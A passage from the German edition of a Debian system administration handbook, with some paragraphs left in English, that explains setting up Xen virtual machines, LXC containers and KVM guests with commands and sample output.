--dhcp legt fest, dass die Netzwerkkonfiguration der domU durch DHCP besorgt wird, während --ip die Benennung einer statischen IP-Adresse ermöglicht.

Schließlich muss noch eine Speichermethode für die zu erstellenden Abbilder (diejenigen, die von der domU aus als Festplatten gesehen werden) gewählt werden. Die einfachste Methode besteht darin, mit der Option --dir auf der dom0 eine Datei für jedes Gerät zu erstellen, das der domU zur Verfügung stehen soll. Für Systeme, die LVM verwenden, besteht die Alternative darin, die Option --lvm zu nutzen, gefolgt von dem Namen einer Volume-Gruppe; xen-create-image erstellt dann ein neues logisches Volume innerhalb dieser Gruppe, und dieses logische Volume wird der domU als Festplatte zur Verfügung gestellt.

HINWEIS Speicherung in der domU

Ganze Festplatten können ebenso in die domU exportiert werden wie auch Partitionen, RAID-Anordnungen oder bereits in LVM bestehende logische Volumes. Diese Vorgänge werden jedoch nicht durch xen-create-image automatisiert. Es ist daher sinnvoll, die Konfigurationsdatei des Xen-Abbildes zu editieren, nachdem sie mit dem Befehl xen-create-image erstmals erstellt worden ist.

Nachdem diese Entscheidungen getroffen sind, können wir das Abbild der zukünftigen Xen-domU erstellen:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev General Information -------------------- Hostname : testxen Distribution : bullseye Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Bootloader : pygrub [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : bullseye MAC Address : 00:16:3E:C2:07:EE IP Address(es) : dynamic SSH Fingerprint : SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA) SSH Fingerprint : SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA) SSH Fingerprint : SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519) SSH Fingerprint : SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA) Root Password : FS7CUxsY3xkusv7EkbT9yae

Wir haben jetzt einen virtuellen Rechner, er läuft zur Zeit jedoch nicht (und belegt daher lediglich Platz auf der Festplatte der dom0). Wir können selbstverständlich weitere Abbilder erstellen, möglicherweise mit anderen Parametern.

Bevor wir diese virtuellen Rechner starten, müssen wir festlegen, wie wir auf sie zugreifen werden. Sie können natürlich als eigenständige Rechner angesehen werden, auf die nur über ihre jeweilige Systemkonsole zugegriffen wird, dies entspricht jedoch nur selten dem Nutzungsmuster. Meistens wird eine domU als entfernter Server angesehen, auf den nur über ein Netzwerk zugegriffen wird. Es wäre jedoch ziemlich umständlich, für jede domU eine Netzwerkkarte hinzuzufügen. Deshalb ist es möglich, mit Xen virtuelle Schnittstellen zu erstellen, die von jeder Domain gesehen und auf übliche Weise benutzt werden können. Man beachte, dass diese Karten, obwohl sie virtuell sind, nur von Nutzen sind, wenn sie mit einem Netzwerk verbunden sind, selbst wenn dieses virtuell ist. Xen bietet zu diesem Zweck mehrere Netzwerkmodelle:

Das einfachste Modell ist das bridge-Modell; alle eth0-Netzwerkkarten (sowohl in der dom0 als auch in den domU-Systemen) verhalten sich so, als wären sie direkt an einen Ethernet-Switch angeschlossen.

Dann kommt das routing-Modell, bei dem dom0 als Router agiert, der zwischen den domU-Systemen und dem (physischen) externen Netzwerk steht.

Schließlich befindet sich im NAT-Modell die dom0 ebenfalls zwischen den domU-Systemen und dem übrigen Netzwerk, jedoch sind die domU-Systeme von außen nicht direkt zugänglich, sondern der Datenverkehr wird auf der dom0 einer „Network Address Translation“ unterworfen.

Zu diesen drei Netzknoten gehören eine Reihe von Schnittstellen mit ungewöhnlichen Bezeichnungen, wie zum Beispiel vif*, veth*, peth* und xenbr0. Der Xen-Hypervisor ordnet sie gemäß dem an, was auch immer als Layout festgelegt worden ist, unter der Kontrolle der Hilfsprogramme auf der Anwenderebene. Da die NAT- und Routing-Modelle besonderen Fällen vorbehalten sind, beschäftigen wir uns hier nur mit dem Bridging-Modell.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

Nach einem Neustart, um sicherzustellen, dass die Brücke automatisch erstellt wird, können wir nun die DomU mit den Xen-Steuerungswerkzeugen, insbesondere dem Befehl xl, starten. Dieser Befehl erlaubt verschiedene Manipulationen an den Domänen, darunter das Auflisten der Domänen und das Starten/Stoppen der Domänen. Möglicherweise müssen Sie den Standardspeicher erhöhen, indem Sie den Variablenspeicher aus der Konfigurationsdatei bearbeiten (in diesem Fall /etc/xen/testxen.cfg). Hier haben wir ihn auf 1024 (Megabyte) gesetzt.

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 3918 2 r----- 35.1 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 2757 2 r----- 45.2 testxen 3 1024 1 r----- 1.3

WERKZEUG Auswahl an Toolstacks für die Verwaltung von Xen VMs

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

VORSICHT Nur eine domU je Abbild!

Während mehrere domU-Systeme natürlich gleichzeitig laufen können, muss jedes von ihnen sein eigenes Abbild verwenden, da jede domU den Eindruck erhält, dass sie auf ihrer eigenen Hardware läuft (abgesehen von dem kleinen Kernelanteil, der mit dem Hypervisor kommuniziert). Vor allem ist es nicht möglich, dass zwei domU-Systeme zur selben Zeit Speicherplatz gemeinsam benutzen. Falls die domU-Systeme nicht zur selben Zeit laufen, können sie jedoch eine einzige Auslagerungspartition oder die Partition, die das Dateisystem /home enthält, wiederverwenden.

Man beachte, dass die domU testxen wirklichen Speicher des RAM verwendet, der ansonsten für die dom0 verfügbar wäre, und keinen simulierten Speicher. Man sollte daher darauf achten, das physische RAM entsprechend zuzuteilen, wenn man einen Server einrichtet, auf dem Xen-Instanzen laufen sollen.

Voilà! Unsere virtuelle Maschine wird gerade gestartet. Wir können auf sie in einem von zwei Modi zugreifen. Der übliche Weg ist eine "Fernverbindung" über das Netzwerk, so wie wir uns mit einer realen Maschine verbinden würden; dies erfordert normalerweise entweder die Einrichtung eines DHCP-Servers oder eine DNS-Konfiguration. Die andere Möglichkeit, die möglicherweise die einzige ist, wenn die Netzwerkkonfiguration nicht korrekt war, besteht darin, die Konsole hvc0 mit dem Befehl xl console zu verwenden:

# xl console testxen [...] Debian GNU/Linux 11 testxen hvc0 testxen login:

Man kann dann eine Sitzung öffnen, als säße man an der Tastatur des virtuellen Rechners. Zur Trennung von dieser Konsole dient die Tastenkombination Strg+].

TIPP Direkt zur Konsole gelangen

Manchmal möchte man ein domU-System starten und direkt zu seiner Konsole gelangen; deshalb kann dem Befehl xl create der Schalter -c übergeben werden. Wenn man eine domU mit diesem Schalter startet, werden während des Hochfahrens des Systems alle Meldungen angezeigt.

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

Sobald eine domU läuft, kann sie so wie jeder andere Server verwendet werden (da sie schließlich ein GNU/Linux-System ist). Ihr Status als virtueller Rechner ermöglicht jedoch einige zusätzliche Funktionen. So kann eine domU zum Beispiel mit den Befehlen xl pause und xl unpause vorübergehend angehalten und dann wieder fortgesetzt werden. Man beachte, dass bei einer angehaltenen domU, obwohl sie keine Prozessorleistung in Anspruch nimmt, der ihr zugeordnete Speicherplatz weiterhin belegt ist. Es könnte interessant sein, hier die Befehle xl save und xl restore in Erwägung zu ziehen: das Speichern einer domU gibt die Ressourcen frei, die vorher von dieser domU verwendet wurden, einschließlich des RAM. Wenn sie fortgesetzt wird (oder eigentlich ihr Pausieren beendet wird), bemerkt eine domU außer dem Fortschreiten der Zeit nichts. Falls eine domU läuft, wenn die dom0 heruntergefahren wird, speichern die gebündelten Skripten automatisch die domU, und stellen sie beim nächsten Hochfahren wieder her. Dies schließt natürlich die gleichen Unannehmlichkeiten ein, die entstehen, wenn man zum Beispiel einen Laptop in den Ruhezustand versetzt; insbesondere, dass Netzwerkverbindungen verfallen, falls die domU zu lange ausgesetzt ist. Man beachte auch, dass Xen insofern mit einem Großteil der ACPI-Energieverwaltung inkompatibel ist, als es nicht möglich ist, das Host-System (die dom0) in den Bereitschaftsbetrieb zu versetzen.

Das Anhalten oder Neustarten einer domU kann entweder aus dieser domU heraus geschehen (mit dem Befehl shutdown) oder von der dom0 aus mit xl shutdown oder xl reboot.

Die meisten der xl-Unterbefehle erwarten ein oder mehrere Argumente, häufig einen domU-Namen. Diese Argumente sind auf der Handbuchseite xl(1) gut beschrieben.

WEITERE SCHRITTE Weitergehendes Xen

Xen verfügt über wesentlich mehr Funktionen als wir in diesen wenigen Absätzen beschreiben können. Vor allem ist das System sehr dynamisch, und viele Parameter einer Domain (wie zum Beispiel der Umfang des zugewiesenen Speichers, die sichtbaren Festplatten, das Verhalten der Aufgabensteuerung und so weiter) können eingestellt werden, selbst wenn die Domain läuft. Eine domU kann sogar auf einen anderen Server verschoben werden, ohne abgeschaltet zu werden und ohne ihre Netzwerkverbindungen zu verlieren! Die Hauptinformationsquelle für alle diese weitergehenden Aspekte ist die offizielle Xen-Dokumentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Obwohl es dazu benutzt wird, „virtuelle Rechner“ zu erstellen, ist LXC genaugenommen kein Virtualisierungssystem, sondern ein System, um Gruppen von Prozessen voneinander zu isolieren, obwohl sie alle auf demselben Host laufen. Es macht sich eine Reihe neuerer Entwicklungen im Linux-Kernel zunutze, die gemeinhin als Kontrollgruppen (control groups) bekannt sind, mit denen verschiedene Sätze von Prozessen, die „Gruppen“ genannt werden, bestimmte Aspekte des Gesamtsystems auf unterschiedliche Weise sehen. Dies gilt vor allem für Aspekte wie die Prozesskennungen, die Netzwerkonfiguration und die Einhängepunkte. Eine derartige Gruppe isolierter Prozesse hat keinerlei Zugriff auf die anderen Prozesse des Systems, und ihre Zugriffe auf das Dateisystem können auf einen bestimmten Teilbereich eingegrenzt werden. Sie kann auch ihre eigene Netzwerkschnittstelle und Routing-Tabelle haben, und möglicherweise ist sie so konfiguriert, dass sie nur einen Teil der auf dem System verfügbaren Geräte sieht.

Diese Funktionen können kombiniert werden, um eine ganze Prozessfamilie, vom init-Prozess angefangen, zu isolieren, und die sich daraus ergebende Gruppe sieht einem virtuellen Rechner sehr ähnlich. Die offizielle Bezeichnung für eine derartige Anordnung ist ein „Container“ (daher der Name LXC: LinuX Containers), jedoch besteht ein wichtiger Unterschied zu einem „wirklichen“ virtuellen Rechner darin, wie einem der durch Xen oder KVM bereitgestellt wird, dass es keinen zweiten Kernel gibt; der Container verwendet denselben Kernel wie das Host-System. Dies hat Vor- und Nachteile: zu den Vorteilen gehören die exzellente Performance aufgrund fehlender Last durch Overhead und die Tatsache, dass der Kernel einen vollständigen Überblick über alle Prozesse hat, die auf dem System laufen, wodurch die Steuerung effizienter sein kann, als wenn zwei unabhängige Kernel verschiedene Aufgabensätze steuern würden. Zu den Nachteilen gehört vor allem, dass man in einem Container keinen anderen Kernel laufen lassen kann (sei dies eine andere Linux-Version oder ein völlig anderes Betriebssystem).

HINWEIS Grenzen der LXC-Isolierung

LXC-Container bieten nicht den Grad an Isolierung, der mit schwergewichtigeren Emulatoren oder Virtualisierern erreicht wird. Insbesondere:

können, da der Kernel vom Host-System und den Containern gemeinsam genutzt wird, in Containern gebundene Prozesse weiterhin auf Kernel-Meldungen zugreifen, wodurch Informationslecks entstehen können, falls Meldungen von einem Container abgegeben werden;

können aus ähnlichen Gründen, falls ein Container beeinträchtigt und eine Kernel-Schwachstelle ausgenutzt wird, die übrigen Container ebenfalls betroffen sein;

überprüft der Kernel Berechtigungen im Dateisystem anhand der numerischen Kennungen für Benutzer und Gruppen; diese Kennungen können je nach Container unterschiedliche Benutzer und Gruppen bezeichnen, woran man denken sollte, falls beschreibbare Teile des Dateisystems von mehreren Containern gemeinsam benutzt werden.

Da wir es hier mit einer Isolierung und nicht mit einer einfachen Virtualisierung zu tun haben, ist es schwieriger, einen LXC-Container einzurichten, als nur ein Debian-Installationsprogramm auf einem virtuellen Rechner auszuführen. Wir werden einige Voraussetzungen beschreiben und dann zur Netzwerkkonfigurierung übergehen; damit werden wir in der Lage sein, das System, das in dem Container laufen soll, zu erstellen.

12.2.2.1. Vorbereitende Schritte

Das Paket lxc enthält die für die Ausführung von LXC erforderlichen Hilfsprogramme und muss daher installiert werden.

LXC benötigt außerdem das Konfigurationssystem für die Kontrollgruppen, das ein unter /sys/fs/cgroup einzuhängendes virtuelles Dateisystem ist. Weil Debian 8 auf systemd geschwenkt hat, das auch auf control groups setzt, wird es automatisch beim Starten ohne weitere Konfiguration ausgeführt.

12.2.2.2. Netzwerkkonfigurierung

LXC wird mit dem Ziel installiert, virtuelle Rechner einzurichten; während wir diese natürlich vom Netzwerk getrennt halten und mit ihnen nur über das Dateisystem kommunizieren könnten, ist es in den meisten Anwendungsfällen erforderlich, den Containern wenigstens einen minimalen Netzwerkzugang zu gewähren. Typischerweise erhält jeder Container eine virtuelle Netzwerkschnittstelle, die mit dem wirklichen Netzwerk über eine Bridge verbunden ist. Diese virtuelle Schnittstelle kann entweder direkt an die physische Schnittstelle des Hosts angeschlossen sein (wobei sich der Container dann direkt im Netzwerk befindet) oder an eine weitere virtuelle Schnittstelle, die auf dem Host festgelegt ist (und bei der der Host dann den Datenverkehr filtern oder umleiten kann). In beiden Fällen ist das Paket bridge-utils erforderlich.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0 iface eth0 inet dhcp

sollten sie deaktiviert und durch folgende ersetzt werden:

auto br0 iface br0 inet dhcp bridge-ports eth0

Die Auswirkung dieser Konfiguration ähnelt derjenigen, die einträte, falls die Container Rechner wären, die an dasselbe physische Netzwerk angeschlossen sind wie der Host. Die „Bridge“-Konfiguration verwaltet den Übergang der Ethernet-Frames zwischen allen verbundenen Schnittstellen, zu denen sowohl die physische Schnittstelle eth0 als auch die für die Container festgelegten Schnittstellen gehören.

In Fällen, in denen diese Konfiguration nicht verwendet werden kann (falls zum Beispiel den Containern keine öffentlichen IP-Adressen zugeordnet werden können), wird eine virtuelle tap-Schnittstelle eingerichtet und mit der Bridge verbunden. Die dementsprechende Netzwerktopologie wird dann zu einer, bei der der Host mit einer zweiten Netzwerkkarte an einen eigenen Switch angeschlossen ist, wobei die Container ebenfalls an diesen Switch angeschlossen sind. Der Host muss in diesem Fall als Gateway für die Container agieren, falls diese mit der Außenwelt kommunizieren sollen.

Zusätzlich zu bridge-utils ist für diese „üppige“ Konfiguration das Paket vde2 erforderlich; die Datei /etc/network/interfaces wird dann zu:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

Das Netzwerk kann dann entweder statisch in den Containern eingerichtet werden oder dynamisch mit einem DHCP-Server, der auf dem Host läuft. Solch ein DHCP-Server muss so konfiguriert sein, dass er Anfragen auf der Schnittstelle br0 beantwortet.

12.2.2.3. Das System einrichten

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] #

Man beachte, dass das Dateisystem zunächst in /var/cache/lxc erstellt und dann in sein Zielverzeichnis verschoben wird. So lassen sich mehrere identische Container wesentlich schneller erstellen, da sie nur kopiert werden müssen.

Man beachte, dass das Skript zum Erstellen des Debian Beispiels eine Option --arch akzeptiert, um die Architektur anzugeben, die Installiert werden soll, sowie eine Option --release, wenn Sie etwas anderes als das aktuelle "stable" Release von Debian installieren wollen. Sie können auch die Umgebungsvariable MIRROR auf einen lokalen Debian Spiegel zeigen lassen.

The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth lxc.net.0.link = lxcbr0 lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

Ein anderer nützlicher Eintrag in dieser Datei ist die Angabe des Hostnamens:

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. Den Container starten

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

# lxc-console -n testlxc Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself Debian GNU/Linux 11 testlxc tty1 testlxc login: root Password: Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 9 01:45:21 UTC 2022 on console root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 18964 11464 ? Ss 01:36 0:00 /sbin/init root 45 0.0 0.2 31940 10396 ? Ss 01:37 0:00 /lib/systemd/systemd-journald root 71 0.0 0.1 99800 5724 ? Ssl 01:37 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..] root 97 0.0 0.1 13276 6980 ? Ss 01:37 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 160 0.0 0.0 6276 3928 pts/0 Ss 01:46 0:00 /bin/login -p -- root 169 0.0 0.0 7100 3824 pts/0 S 01:51 0:00 \_ -bash root 172 0.0 0.0 9672 3348 pts/0 R+ 01:51 0:00 \_ ps auxwf root 164 0.0 0.0 5416 2128 pts/1 Ss+ 01:49 0:00 /sbin/agetty -o -p -- \u --noclear [...] root@testlxc:~#

Wir befinden uns nun in dem Container; unser Zugriff auf diejenigen Prozesse beschränkt, die vom Container selbst gestartet wurden, und unser Zugriff auf das Dateisystem ist in ähnlicher Weise auf die zugehörige Teilmenge des gesamten Dateisystems (/var/lib/lxc/testlxc/rootfs) eingeschränkt. Wir können die Konsole mit Control+a q wieder verlassen.

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

Das Paket lxc enthält ein Initialisierungsskript, das automatisch einen oder mehrere Container starten kann, wenn der Host bootet (es basiert auf lxc-autostart, das Container startet, deren Option lxc.start.auto auf 1 gesetzt ist). Eine feinere Steuerung der Startreihenfolge ist mit lxc.start.order und lxc.group möglich: per Voreinstellung startet das Initialisierungsskript zuerst Container, die Teil der Gruppe onboot sind und dann die Container, die nicht Teil einer Gruppe sind. In beiden Fällen wird die Reihenfolge innerhalb einer Gruppe durch die Option lxc.start.order definiert.

WEITERE SCHRITTE Massenvirtualisierung

Da LXC ein sehr leichtgewichtiges Isolierungssystem ist, kann es insbesondere für die Bereitstellung zahlreicher virtueller Server eingerichtet werden. Die Netzwerkkonfiguration wird hierbei im Vergleich zu der, die wir oben beschrieben haben, möglicherweise etwas erweitert sein, die „üppige“ Konfiguration unter Verwendung von tap- und veth-Schnittstellen sollte in den meisten Fällen hierfür jedoch ausreichend sein.

Es könnte auch sinnvoll sein, einen Teil des Dateisystems, wie zum Beispiel die Unterverzeichnisse /usr und /lib, gemeinsam zu nutzen, um so die Duplizierung von Software zu vermeiden, die bei mehreren Containern benötigt wird. Dies wird normalerweise durch lxc.mount.entry-Einträge in der Konfigurationsdatei des Containers erreicht. Ein interessanter Nebeneffekt besteht darin, dass die Prozesse in diesem Fall weniger physischen Speicher benötigen, da der Kernel erkennen kann, dass die Programme gemeinsam benutzt werden. Die zusätzliche Belastung durch einen weiteren Container kann so auf den für seine spezifischen Daten erforderlichen Plattenplatz und einige zusätzliche Prozesse, die der Kernel einplanen und verwalten muss, reduziert werden.

Wir haben selbstverständlich nicht alle verfügbaren Optionen beschrieben; ausführlichere Informationen sind auf den Handbuchseiten lxc(7) und lxc.container.conf(5) sowie auf weiteren Seiten, auf die sie verweisen, enthalten.

12.2.3. Virtualisierung mit KVM

KVM, das Kernel-based Virtual Machine bedeutet, ist in erster Linie ein Kernel-Modul, das den größten Teil der Infrastruktur bereitstellt, die von einem Virtualisierungsprogramm benutzt werden kann, ist jedoch selbst kein Virtualisierungsprogramm. Die eigentliche Steuerung der Virtualisierung wird von einer Anwendung auf der Grundlage von QEMU vorgenommen. Wundern Sie sich nicht, dass dieser Abschnitt über qemu-*-Befehlen ist: er handelt dennoch von KVM.

Im Gegensatz zu anderen Virtualisierungssystemen war KVM von Anfang an Teil des Linux-Kernels. Seine Entwickler entschieden sich, die für eine Virtualisierung vorgesehenen Prozessor-Befehlssätze (Intel-VT und AMD-V) zu nutzen, wodurch KVM leichtgewichtig, elegant und ressourcenschonend bleibt. Die Kehrseite ist natürlich, dass KVM nicht auf allen Rechnerarchitekturen läuft, sondern nur auf denen mit entsprechenden Prozessoren. Sie können überprüfen, ob Sie einen derartigen Prozessor haben wenn unter den CPU-Flags in der Datei /proc/cpuinfo „vmx“ oder „svm“ aufgeführt ist.

Mit aktiver Unterstützung seiner Entwicklung durch Red Hat scheint KVM auf dem Wege zu sein, zur Referenz für Linux-Virtualisierung zu werden.

12.2.3.1. Vorbereitende Schritte

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

Zunächst installieren wir mit apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer die erforderlichen Pakete. libvirt-daemon-system stellt den Daemon libvirtd zur Verfügung, mit dem (unter Umständen aus der Ferne) die Verwaltung der virtuellen Rechner, die auf dem Host laufen, möglich ist, und der die erforderlichen virtuellen Rechner startet, wenn der Host hochfährt. libvirt-clients enthält das Befehlszeilenwerkzeug virsh, das die Steuerung der Rechner ermöglicht, die von libvirtd verwaltet werden.

Das Paket virtinst stellt den Befehl virt-install bereit, mit dem es möglich ist, virtuelle Rechner von der Befehlszeile aus zu erstellen. Und schließlich ermöglicht virt-viewer den Zugriff auf die grafische Konsole eines virtuellen Rechners.

12.2.3.2. Netzwerkkonfigurierung

Genauso wie in Xen und LXC gehört zu der häufigsten Netzwerkkonfiguration eine Bridge, mit der die Netzwerkschnittstellen der virtuellen Rechner zusammengefasst werden (siehe Abschnitt 12.2.2.2, „Netzwerkkonfigurierung“).

Stattdessen kann (und das ist die Voreinstellung bei KVM) dem virtuellen Rechner eine private Adresse (im Bereich von 192.168.122.0/24) zugeordnet und NAT eingerichtet werden, so dass der virtuelle Rechner auf das externe Netzwerk zugreifen kann.

Für den Rest dieses Abschnitts wird angenommen, dass der Host über eth0 als physische Schnittstelle und eine br0-Bridge verfügt und das Erstere mit Letzterer verbunden ist.

12.2.3.3. Installation mit virt-install

Die Erstellung eines virtuellen Rechners ist der Installation eines normalen Systems sehr ähnlich, außer dass die Eigenschaften des virtuellen Rechners in einer scheinbar endlosen Befehlszeile beschrieben werden.

In der Praxis bedeutet dies, dass wir das Debian-Installationsprogramm verwenden, indem wir den virtuellen Rechner auf einem virtuellen DVD-ROM-Laufwerk hochfahren, dem ein auf dem Host-System gespeichertes DVD-Abbild von Debian zugeordnet ist. Der virtuelle Rechner exportiert seine grafische Konsole über das VNC-Protokoll (für Einzelheiten siehe Abschnitt 9.2.2, „Entfernte grafische Arbeitsflächen benutzen“), so dass wir den Installationsprozess steuern können.

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm # virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created #

TIPP Eigenen Benutzer zur libvirt-Gruppe hinzufügen

Alle Beispiele in diesem Abschnitt gehen davon aus, dass Sie Befehle als root ausführen. Wenn Sie einen lokalen libvirt-Daemon kontrollieren wollen, müssen Sie entweder root oder Mitglied der Gruppe libvirt sein (was voreingestellt nicht der Fall ist). Wenn Sie also nicht zu oft root-Rechte verwenden wollen, können Sie sich der Gruppe libvirt hinzufügen und die verschiedenen Befehle unter Ihrer Benutzeridentität ausführen.

Wir wollen jetzt mit dem Installationsprozess für den virtuellen Rechner beginnen und uns die wichtigsten Optionen des Befehls virt-install ansehen. Der Befehl registriert den virtuellen Rechner und seine Parameter in libvirtd und startet ihn dann, so dass seine Installierung fortgesetzt werden kann.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 2048 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debiantesting Starting install... Allocating 'testkvm.qcow'

Die Option --connect legt den zu verwendenden „Hypervisor“ fest. Sie hat die Form einer URL, die ein Virtualisierungssystem enthält (xen://, qemu://, lxc://, openvz://, vbox:// und so weiter) und den Rechner, der den virtuellen Rechner aufnehmen soll (dies kann leer bleiben, falls es sich dabei um den lokalen Host handelt). Zusätzlich hierzu, und im Fall vom QEMU/KVM, kann jeder Benutzer virtuelle Rechner, die mit eingeschränkten Berechtigungen laufen, verwalten, wobei der URL-Pfad es ermöglicht, „System“-Rechner (/system) von anderen (/session) zu unterscheiden.

Da KVM auf die gleiche Weise wie QEMU verwaltet wird, kann mit --virt-type kvm die Verwendung von KVM festgelegt werden, obwohl die URL aussieht, als würde QEMU verwendet.

Die Option --name legt einen (eindeutigen) Namen für den virtuellen Rechner fest.

Die Option --memory ermöglicht es, die Größe des RAM (in MB) festzulegen, das dem virtuellen Rechner zugeordnet wird.

Mit --disk wird der Ort der Abbild-Datei benannt, die die Festplatte unseres virtuellen Rechners darstellen soll; diese Datei wird, falls sie nicht bereits vorhanden ist, in einer Größe (in GB) erstellt, die mit dem Parameter size festgelegt wird. Der Parameter format ermöglicht die Auswahl zwischen mehreren Arten der Speicherung der Abbild-Datei. Das voreingestellte Format (qcow2), bei dem man mit einer kleinen Datei beginnen kann, die nur größer wird, wenn der virtuelle Rechner tatsächlich damit beginnt, Platz zu belegen.

Die Option --cdrom wird zur Anzeige des Ortes verwendet, an dem sich die optische Platte befindet, die für die Installierung benutzt wird. Der Pfad kann entweder ein lokaler Pfad zu einer ISO-Datei sein, eine URL, von der die Datei bezogen werden kann, oder die Gerätedatei eines physischen CD-ROM-Laufwerks (das heißt /dev/cdrom).

Mit --network wird festgelegt, wie sich die virtuelle Netzwerkkarte in die Netzwerkkonfiguration des Hosts integriert. Das voreingestellte Verhalten (das in unserem Beispiel ausdrücklich erzwungen wird) besteht darin, sie in eine bereits bestehende Netzwerk-Bridge einzubinden. Falls es eine derartige Bridge nicht gibt, kann der virtuelle Rechner das physische Netzwerk nur über NAT erreichen, das heißt, dass er eine Adresse in einem privaten Teilnetzbereich erhält (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--graphics gibt an, dass die grafische Konsole unter Verwendung von VNC zur Verfügung gestellt werden soll. Das voreingestellte Verhalten des zugeordneten VNC-Servers besteht darin, nur an der lokalen Schnittstelle auf Eingaben zu warten. Fall der VNC-Client auf einem anderen Host laufen soll, muss zur Herstellung der Verbindung ein SSH-Tunnel eingerichtet werden (siehe Abschnitt 9.2.1.4, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“). Alternativ kann --vnclisten=0.0.0.0 verwendet werden, sodass von allen Schnittstellen aus auf den VNC-Server zugegriffen werden kann. Man beachte jedoch, dass in diesem Fall die Firewall wirklich entsprechend eingestellt werden sollte.

Mit den Optionen --os-type und --os-variant lassen sich einige Parameter des virtuellen Rechners optimieren in Abhängigkeit von den bekannten Funktionen des Betriebssystems, das hier genannt wird.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

